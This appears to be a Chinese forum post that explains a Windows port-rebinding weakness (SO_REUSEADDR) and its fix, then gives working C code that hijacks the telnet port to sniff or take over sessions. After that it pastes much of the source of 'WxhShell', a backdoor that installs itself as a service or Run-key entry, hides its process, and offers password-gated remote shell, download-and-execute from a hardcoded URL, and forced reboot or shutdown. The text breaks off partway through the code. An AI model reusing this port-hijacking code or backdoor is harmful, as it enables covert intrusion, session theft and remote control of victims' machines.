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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :zk69P3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H]5%"(h  
>}` q4U6$  
  saddr.sin_family = AF_INET; K~p\B  
ENwDW#U9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ln#Jb&u  
KXEDpr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~U+SK4SK:o  
tH0=ysf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (^-i[aJY  
VY)!bjW.  
  这意味着什么?意味着可以进行如下的攻击: n22k<@y  
KS($S( Fi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w,(e,8#:  
)K2,h5zU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F0O"rN{  
<S'5`-&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 EGYYSoBLU  
{FO>^~>l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6$TE-l  
KUG\C\z6=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  l`x;Og>a  
irSdqa/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7@R;lOzL3  
!BD+H/A.{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l$$N~FN  
VU7x w  
  #include Np>[mNmga  
  #include RkVU^N"  
  #include (,~gY=E+  
  #include    LFHV~>d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ek~bXy{O`  
  int main() #wH<W5gSZ  
  { KlbL<9P >  
  WORD wVersionRequested; h$)},% e  
  DWORD ret; deR2l(0%yr  
  WSADATA wsaData; 7(<6+q2~  
  BOOL val; V:*QK,  
  SOCKADDR_IN saddr; M#II,z>q  
  SOCKADDR_IN scaddr; KN>U6=WN  
  int err; \(Uw.ri  
  SOCKET s; Ky33h 0TX  
  SOCKET sc; tmF->~|  
  int caddsize; F%!ZHE7  
  HANDLE mt; 5bZf$$b  
  DWORD tid;   #gbJ$1s  
  wVersionRequested = MAKEWORD( 2, 2 ); `RUOZ@r  
  err = WSAStartup( wVersionRequested, &wsaData ); J_A+)_  
  if ( err != 0 ) { bV_@!KL$  
  printf("error!WSAStartup failed!\n"); Sns`/4S?6Z  
  return -1; ,"!t[4p=f  
  } eC:?j`H -  
  saddr.sin_family = AF_INET; s^Lg*t 3I  
   #Aox$[|@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6T>e~<^  
Rckqr7q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .b*%c?e  
  saddr.sin_port = htons(23); a=*&OW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s u]x  
  { J1kG'cH05  
  printf("error!socket failed!\n"); Td%[ -  
  return -1; @Y":DHF5q  
  } Y>*{(QD  
  val = TRUE; AL%H$I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <`8l8cL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %;+Q0 e9  
  { tPh``o  
  printf("error!setsockopt failed!\n"); i;!#:JX  
  return -1; 7Pu.<b}  
  } D_fgxl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q~9Y&>D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y'ULhDgq^B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DDh$n?2fd  
QEIu}e6b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _MfXN$I?}  
  { g+Z~"O]$M  
  ret=GetLastError(); *I 7$\0Q  
  printf("error!bind failed!\n"); dx{ZG'@aH  
  return -1; HY[eo/nM1d  
  } {U?UM  
  listen(s,2); 1DPgiIG~  
  while(1) KTX;x2r  
  { NLZTIZCK  
  caddsize = sizeof(scaddr); uXPvl5(Y?  
  //接受连接请求 kWs"v6B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;2X/)sxWz  
  if(sc!=INVALID_SOCKET) h^#K4/  
  { 5(kRFb'31F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ajFSbi)l  
  if(mt==NULL) (orO=gST-/  
  { X!r9  
  printf("Thread Creat Failed!\n"); |Rk$u  
  break; 5nL,sFd  
  } l!z0lh- J  
  } X2PQL"`  
  CloseHandle(mt); zRDBl02v$T  
  } o)<c1\q  
  closesocket(s); _+ z5~6>  
  WSACleanup(); =bm<>h7.)  
  return 0; z>HeM Mei  
  }   lTOO`g  
  DWORD WINAPI ClientThread(LPVOID lpParam) S7SD$+fX  
  { m:@-]U@ 6  
  SOCKET ss = (SOCKET)lpParam; T^9k,J(rM  
  SOCKET sc; rdd%"u+  
  unsigned char buf[4096]; SenDJv00  
  SOCKADDR_IN saddr; 8':^tMd  
  long num; =sVB.P  
  DWORD val; F6 ?4E"d  
  DWORD ret; <=KtRE>$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5N=QS1<$5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?ysC7 ((  
  saddr.sin_family = AF_INET; mup<%@7m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NIn#  
  saddr.sin_port = htons(23);  Qx,jUL#2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dk&@AjJga  
  { ?`%7Y~  
  printf("error!socket failed!\n"); >*v!2=  
  return -1; :BFecS&i5  
  } kae &,'@JF  
  val = 100; {MK.jw9/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4f+R}Ee7  
  { G?\\k[#,&  
  ret = GetLastError(); ]AjDe]  
  return -1; Ar@" K!TS  
  } 6{/HNEI*1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =1' / ?  
  { C^>txui8  
  ret = GetLastError(); jcNY W_G  
  return -1; ~5e)h_y  
  } P~Cx#`#(V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~4YU  
  {  f,utA3[  
  printf("error!socket connect failed!\n"); *^]Hqf(`  
  closesocket(sc); <4!SQgL  
  closesocket(ss); Z["[^=EP  
  return -1; A*)G . o:  
  } A8bDg:G1i  
  while(1) ;E? Z<3{  
  { ^^MVd@,i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Lw EI   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FSnF>3kj-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WZkAlg7Z  
  num = recv(ss,buf,4096,0); lFMQT ;  
  if(num>0) 9/N=7<$  
  send(sc,buf,num,0); Hk)IV"[R  
  else if(num==0) "p<B|  
  break; u*#j;Xc  
  num = recv(sc,buf,4096,0); s>8;At-  
  if(num>0) |7G +O+j  
  send(ss,buf,num,0); +AVYypql8K  
  else if(num==0) G:TM k4  
  break; ]oy>kRnb {  
  } NbPv>/r  
  closesocket(ss); 34lt?6%j  
  closesocket(sc); ;[ UGEi  
  return 0 ; pJ*x[y  
  } @"[xX}xK;  
>cm*_26;I  
4RgEN!d?H  
========================================================== L~nVoKY*V  
,1-n=eTQ  
下边附上一个代码,,WXhSHELL EC *rd  
3R!?r^h  
========================================================== UOTM>d1P  
d^5OB8t  
#include "stdafx.h" JWHKa=-H  
b65V*Vbj  
#include <stdio.h> ZMs$C3  
#include <string.h> $2l<X KT-  
#include <windows.h> W-9?|ei  
#include <winsock2.h> !KiN} p  
#include <winsvc.h>  iC]=S}  
#include <urlmon.h> FGzMbi<l#(  
6ybpPls  
#pragma comment (lib, "Ws2_32.lib") SF?Ublc!   
#pragma comment (lib, "urlmon.lib") [UqJ3@>  
I7!+~uX  
#define MAX_USER   100 // 最大客户端连接数 /Yk4%ZJ{  
#define BUF_SOCK   200 // sock buffer Y/\y"a  
#define KEY_BUFF   255 // 输入 buffer Gt9(@USK  
N 2|?I(\B  
#define REBOOT     0   // 重启 *`]LbS  
#define SHUTDOWN   1   // 关机 lCmTm  
SyHS9>  
#define DEF_PORT   5000 // 监听端口 ^{L/) Xy5  
:xdl I`S  
#define REG_LEN     16   // 注册表键长度 F/BB]gUB  
#define SVC_LEN     80   // NT服务名长度 5r#0/1ym!  
EA@p]+P  
// 从dll定义API ,9T-\)sT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q'r(#,B<3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \^7D% a=;C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l ;TWs_N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MXy~kb&  
GabY xYK  
// wxhshell配置信息 9d7`R'  
struct WSCFG { F' eV%g  
  int ws_port;         // 监听端口 mj\]oWS7d  
  char ws_passstr[REG_LEN]; // 口令 Oj6PmUK4  
  int ws_autoins;       // 安装标记, 1=yes 0=no <5oG[1j  
  char ws_regname[REG_LEN]; // 注册表键名 ;| (_;d  
  char ws_svcname[REG_LEN]; // 服务名 #SNwSx&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oqu; D'8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )n8(U%q$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]xhZJ~"@u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !JZ)6mtlr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y7)s0g>%H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MfzSoxCb  
3LT[?C]H$  
}; Tk(ciwB  
,{{e'S9cy  
// default Wxhshell configuration sxac( L  
struct WSCFG wscfg={DEF_PORT, eC+S'Jgf  
    "xuhuanlingzhe", xWNB/{F  
    1, \>}G|yL  
    "Wxhshell", }bwH(OOS  
    "Wxhshell", Bismd21F6=  
            "WxhShell Service", e;QPn(  
    "Wrsky Windows CmdShell Service", LEnm6  
    "Please Input Your Password: ", 5v&mK 5zZ  
  1, lPA:aHcj  
  "http://www.wrsky.com/wxhshell.exe", 8t{-  
  "Wxhshell.exe" 6pyLb3[e  
    }; Q};g~b3  
BT?)-wS  
// 消息定义模块 dEz7 @T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,yZvT7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sj@B0R=Qo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^zdZ"\x  
char *msg_ws_ext="\n\rExit."; Z_Tu* F  
char *msg_ws_end="\n\rQuit."; \EP<r  
char *msg_ws_boot="\n\rReboot..."; 0(+3w\_!  
char *msg_ws_poff="\n\rShutdown..."; -ti nL(?3  
char *msg_ws_down="\n\rSave to "; tvh)N{j  
{5<3./5O  
char *msg_ws_err="\n\rErr!"; #dcfQ  
char *msg_ws_ok="\n\rOK!"; /uXEh61$8  
Kwc~\k  
char ExeFile[MAX_PATH]; Tnw0S8M  
int nUser = 0; Xi^#F;@sU  
HANDLE handles[MAX_USER]; v.wHj@  
int OsIsNt; ^cQTRO|  
37j-FLbW  
SERVICE_STATUS       serviceStatus; C_c*21X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :%&~/@B  
'IR2H{Q  
// 函数声明 :i;iSrKy  
int Install(void); %XIPPEHU  
int Uninstall(void); ;QVX'?  
int DownloadFile(char *sURL, SOCKET wsh); <F~0D0G  
int Boot(int flag); ^ +e5 M1U=  
void HideProc(void); 5 iz(R:P<  
int GetOsVer(void); 5.1 c#rL  
int Wxhshell(SOCKET wsl); {+n0t1  
void TalkWithClient(void *cs); kZ8+ev=  
int CmdShell(SOCKET sock); IaDN[:SX  
int StartFromService(void); z%$,F9/  
int StartWxhshell(LPSTR lpCmdLine); /wF*@/PTH  
)U>JFgpIW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t-, =sV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }3{ x G+,  
#q[k"x=c  
// 数据结构和表定义 *^]lFuX\&E  
SERVICE_TABLE_ENTRY DispatchTable[] = :fxG]uf-P  
{ U9uy (KOW  
{wscfg.ws_svcname, NTServiceMain}, ups] k?4  
{NULL, NULL} #!a}ZhIt  
}; fu}ZOPu  
+W{ELdup%q  
// 自我安装 Het5{Yb.  
int Install(void) 5Z2tTw'i  
{ O@$wU9 D<  
  char svExeFile[MAX_PATH]; s<}d)L(  
  HKEY key; ;ALkeUR[  
  strcpy(svExeFile,ExeFile); 9DAk|K  
w_O3];  
// 如果是win9x系统,修改注册表设为自启动 ynWF Y<VX  
if(!OsIsNt) { dnZA+Pa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y.pwj~s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]<9KX} B  
  RegCloseKey(key); ,qo"i7c{:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wmm'j&hI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w=ZSyT-i  
  RegCloseKey(key); m^6& !`CD  
  return 0; -Fl;;jeX  
    } nhbCk6Y5LZ  
  } WyO7,Qr\   
} a{oG[e   
else { :Adx7!6  
,};UD  W  
// 如果是NT以上系统,安装为系统服务 Pz=x$aY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U$-;^=;  
if (schSCManager!=0) "r:i  
{ D^R=  
  SC_HANDLE schService = CreateService G-5 4D_ 4  
  ( **].d;~[l  
  schSCManager, x/Nh9hh"  
  wscfg.ws_svcname, YPq4VX,  
  wscfg.ws_svcdisp, O.ce"5Y^  
  SERVICE_ALL_ACCESS, BqF%2{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5x( [fG  
  SERVICE_AUTO_START, 8$c_M   
  SERVICE_ERROR_NORMAL, >EMsBX  
  svExeFile, `7f><p/q  
  NULL, Nb[zm|.  
  NULL, R:Pw@  
  NULL, #Tr>[ZC  
  NULL, _ct18nh9  
  NULL oNk ASAd  
  ); V>8)1)dF  
  if (schService!=0) \wyn  
  { Y,?!"  
  CloseServiceHandle(schService); t[L_n m5-  
  CloseServiceHandle(schSCManager); *5kQ6#l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `cz%(Ry,  
  strcat(svExeFile,wscfg.ws_svcname); f3g#(1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uQ}0hs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P|:*OM p  
  RegCloseKey(key); sHt PO[h  
  return 0; XAn{xN pz  
    } ucVWvXCr  
  } Ezvm5~<  
  CloseServiceHandle(schSCManager); xaM? B7  
} nBVR)|+M  
} l'~~hQ{h/  
j@j%)CCM  
return 1; E[z8;A^:0  
} F5*NK!U  
F"#8`Ps>  
// 自我卸载 W(C\lSE0  
int Uninstall(void) *%{  
{ {*X8!P7C  
  HKEY key; QN GICG-  
)yHJc$OlMx  
if(!OsIsNt) { #/UlW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { APfDy  
  RegDeleteValue(key,wscfg.ws_regname); # 1S*}Q<k  
  RegCloseKey(key); DE0gd ux8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nb -Je+  
  RegDeleteValue(key,wscfg.ws_regname); /Ir|& <yB  
  RegCloseKey(key); 0:,8Ce  
  return 0; X2 Z E9b  
  } [(hB%x_"  
} Oq7R^t`b  
} GaD]qeS-K  
else { `u./2]n  
jK!Y-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9PU9BYBG  
if (schSCManager!=0) [RZ}9`V  
{ ?8j#gYx2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zW,Nv>Ac5  
  if (schService!=0) %(9BWO  
  { 500qg({2]  
  if(DeleteService(schService)!=0) { T:/68b*H\:  
  CloseServiceHandle(schService); 8Wa&&YTB  
  CloseServiceHandle(schSCManager); _cWz9 ;  
  return 0; mt0ZD}E  
  } :X?bWxOJ  
  CloseServiceHandle(schService); #Cwzk{p(  
  } <`'^rCWI?  
  CloseServiceHandle(schSCManager); &#AK#`&)0i  
} <@Lw '  
} /c`s$h4-  
1z4s1 Y  
return 1; fnZaIV=H  
} 8-A * Jc  
f9Vxtd  
// 从指定url下载文件 af:wg]g  
int DownloadFile(char *sURL, SOCKET wsh) U%Igj:%?;`  
{ k:+Bex$g  
  HRESULT hr; #ny&bJj  
char seps[]= "/"; np>RxiB^  
char *token; 5i 6*$#OM_  
char *file; K*ZH<@o4  
char myURL[MAX_PATH]; LX i?FQnLu  
char myFILE[MAX_PATH]; )2U#<v^  
@iW^OVpp<8  
strcpy(myURL,sURL); WWO@ULGY  
  token=strtok(myURL,seps); !A.Kb74  
  while(token!=NULL) 97$1na3gq  
  { #WOb&h  
    file=token; a^9-9*  
  token=strtok(NULL,seps); aCL_cVOMR  
  } !k=>Wb8n2  
$U uSrX&  
GetCurrentDirectory(MAX_PATH,myFILE); dIOj]5H3F  
strcat(myFILE, "\\"); a ]PS`  
strcat(myFILE, file); Jkc1ih`^  
  send(wsh,myFILE,strlen(myFILE),0); @Ju!|G9z/p  
send(wsh,"...",3,0); NwK(<dzG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )$# Ku2X  
  if(hr==S_OK) G(4*e! aZ0  
return 0; g{`rWKj  
else m[@7!.0=  
return 1; `=]I -5#.W  
*-!&5~o/U  
} aYjFRH`  
U9om}WKO  
// 系统电源模块 vFKt=o$ g  
int Boot(int flag) .kBZ(`K  
{ l )hg!(  
  HANDLE hToken; Hkc:B/6  
  TOKEN_PRIVILEGES tkp; ~}SOd<n)|  
BjT0m k"P  
  if(OsIsNt) { OV l,o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nFVQOr;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iNTw;ov  
    tkp.PrivilegeCount = 1; %-Z0OzWe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4_`ss+gk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #>SvYP  
if(flag==REBOOT) { ;st$TVzkn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )xJo/{?  
  return 0; "TWNit  
} WSdTP$?  
else { AT#&`Ew  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  c`'2  
  return 0; }v'jFIkhI  
} u>G#{$)  
  } FyXz(l:  
  else { K22'XrN  
if(flag==REBOOT) { [6bK>w"v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -L9I;]:KY  
  return 0; w3^>{2iqq  
} ;tS4 h  
else { 9s5PJj"u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -3M6[`/  
  return 0; x)X=sX.  
} eBD7g-  
}  oQrkd:  
kEM5eY  
return 1; ,j4 ;:F  
} -Oo7]8  
G/F0 )M  
// win9x进程隐藏模块 }&Eb {'  
void HideProc(void) ))M; .b.D  
{ Pkr0| bs*  
W_zv"c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WQ\H 2go  
  if ( hKernel != NULL ) DR."C+  
  { >*TFM[((Y)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vW\#2[j[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DA[s k7  
    FreeLibrary(hKernel); ?i.]|#{Z  
  } 'RIlyH~Yf  
DU6AlNx  
return; |%F[.9Dp  
} U]!D=+  
t83n`LC  
// 获取操作系统版本 8:j8>K*6  
int GetOsVer(void) C|kZT<,]  
{ MIcF "fB![  
  OSVERSIONINFO winfo; e1e2Wk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wv 7j ES  
  GetVersionEx(&winfo); 3>[_2}l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z4\$h1tl  
  return 1; v{ F/Bifo  
  else :)GtPTD  
  return 0; )V!dmVQq{g  
} +LwE=unS  
:y)'_p *l/  
// 客户端句柄模块 <y+8\m  
int Wxhshell(SOCKET wsl) S[o_$@|  
{ q? x.P2  
  SOCKET wsh; +L4_]  
  struct sockaddr_in client; i,=CnZCh  
  DWORD myID; b|i94y(  
mQQ5>0^m  
  while(nUser<MAX_USER) QdM&M^  
{ pN+lC[C  
  int nSize=sizeof(client); /aepE~T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 90%alG 1>y  
  if(wsh==INVALID_SOCKET) return 1; )v!>U<eprD  
D`=hP( y^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QI@!QU$K&  
if(handles[nUser]==0) `P&L. m]|  
  closesocket(wsh); 6?U2Et  
else .P[ %t=W  
  nUser++; "{0 o"k  
  } 9aw- n*<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~]71(u2  
o=`FGowF  
  return 0; K!q:A+]  
} hJ0)"OA5  
H26'8e  
// 关闭 socket ~F`t[p  
void CloseIt(SOCKET wsh) J4 yT|  
{ v)(tB7&`=  
closesocket(wsh); >$]SYF29  
nUser--; f#:7$:{F1  
ExitThread(0); g;U f?  
} i%7b)t[y  
gt5  
// 客户端请求句柄 b??k|q  
void TalkWithClient(void *cs) ;C8'7  
{ &xF 2!t`  
dU]>  
  SOCKET wsh=(SOCKET)cs; gt3;Xi  
  char pwd[SVC_LEN]; >pKu G#  
  char cmd[KEY_BUFF]; Zy2@1-z6  
char chr[1]; Dm': D  
int i,j; SSANt?\Z<  
w, u`06  
  while (nUser < MAX_USER) { [c@14]e  
}hOExTz  
if(wscfg.ws_passstr) { 3AWNoXh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |C9qM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9,|&+G$  
  //ZeroMemory(pwd,KEY_BUFF); L3 M]06y  
      i=0; H4'xxsx  
  while(i<SVC_LEN) { DCfV  
,*fvA?  
  // 设置超时 EQ&E C  
  fd_set FdRead; Y?Yix   
  struct timeval TimeOut; 1MdVWFKXV  
  FD_ZERO(&FdRead); \*#9Ry^f  
  FD_SET(wsh,&FdRead); UOrf wK  
  TimeOut.tv_sec=8; jP6;~[rl  
  TimeOut.tv_usec=0; .^^YS$%%7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;|v6^2H"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]*+ozAG4  
rIz"_r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WP1>)  
  pwd=chr[0]; 8phc ekh+  
  if(chr[0]==0xd || chr[0]==0xa) { C% <[mM  
  pwd=0; 2U6j?MyH2  
  break; b'Gn)1NE  
  } @>'.F<:P<  
  i++; K;2tY+I  
    } |5SYKA7CS  
RaFk/mSw  
  // 如果是非法用户,关闭 socket rm*Jo|eH`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G0Wzx)3]  
} _p vL b  
_s./^B_w!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $smzP.V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &$fe%1#  
F"9f6<ge  
while(1) { )J+vmY~&  
SGMLs'D   
  ZeroMemory(cmd,KEY_BUFF); 5gWn{[[e)y  
=:(8F*Q  
      // 自动支持客户端 telnet标准   8Z>ZjNG  
  j=0; uY;-x~Z  
  while(j<KEY_BUFF) { 5H#3PZaQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~SkdP7 )  
  cmd[j]=chr[0]; IMzhEm  
  if(chr[0]==0xa || chr[0]==0xd) { LQSno)OZ  
  cmd[j]=0; EAq/Yw2$  
  break; LV{a^!f`y  
  } ?\:ysTVu  
  j++; F9]j{'#  
    } sbOa] 5]  
[#H$@g|CT  
  // 下载文件 +x$;T*0  
  if(strstr(cmd,"http://")) { xKz^J SF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @Nb&f<+gi  
  if(DownloadFile(cmd,wsh)) { hUbK+dKZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OL*EY:]  
  else fRJSo%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +` B m  
  } KLlo^1.<  
  else { _$"qC[.  
8%Zl;;W  
    switch(cmd[0]) { pDD0 QO  
  0V*L",9M  
  // 帮助 zw^jIg$  
  case '?': { ^1U2&S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V 0R;q  
    break; 6sl*Ko[  
  } =vBxwa^  
  // 安装 Kd CPt!  
  case 'i': { SE{$a3`UzP  
    if(Install()) M")v ph^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &O(z|-&| x  
    else Mq]~Ka3q7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nK Rx_D$d  
    break; =x}27f%-Mg  
    } oQ@X}6B%S  
  // 卸载 0Z#&!xTb  
  case 'r': { 3/o-\wWO  
    if(Uninstall()) sj003jeko  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rixNz@p'%  
    else nGGYKI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6gfv7V2H  
    break; Zr'VA,v  
    } ihKnZcI$i  
  // 显示 wxhshell 所在路径 y1^<!I  
  case 'p': { NvXds;EC  
    char svExeFile[MAX_PATH]; VN|P(S6  
    strcpy(svExeFile,"\n\r"); "y/GK1C  
      strcat(svExeFile,ExeFile); yWu80C8 q  
        send(wsh,svExeFile,strlen(svExeFile),0); {$4fRxj  
    break; 2 5h.u>6@{  
    } X:+;d8rCy  
  // 重启 E N%cjvE  
  case 'b': {  Aki8#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  {[o=df/  
    if(Boot(REBOOT)) xlkEW&N&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R1/ )Yy  
    else { <9YRSE [Ed  
    closesocket(wsh); 3t[2Bd  
    ExitThread(0); f&B&!&gZ  
    } U$6N-q  
    break; r8+{HknB;  
    } ~j",ePl  
  // 关机 LnvC{#TFO  
  case 'd': { s$J0^8Q~i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JC}y{R8  
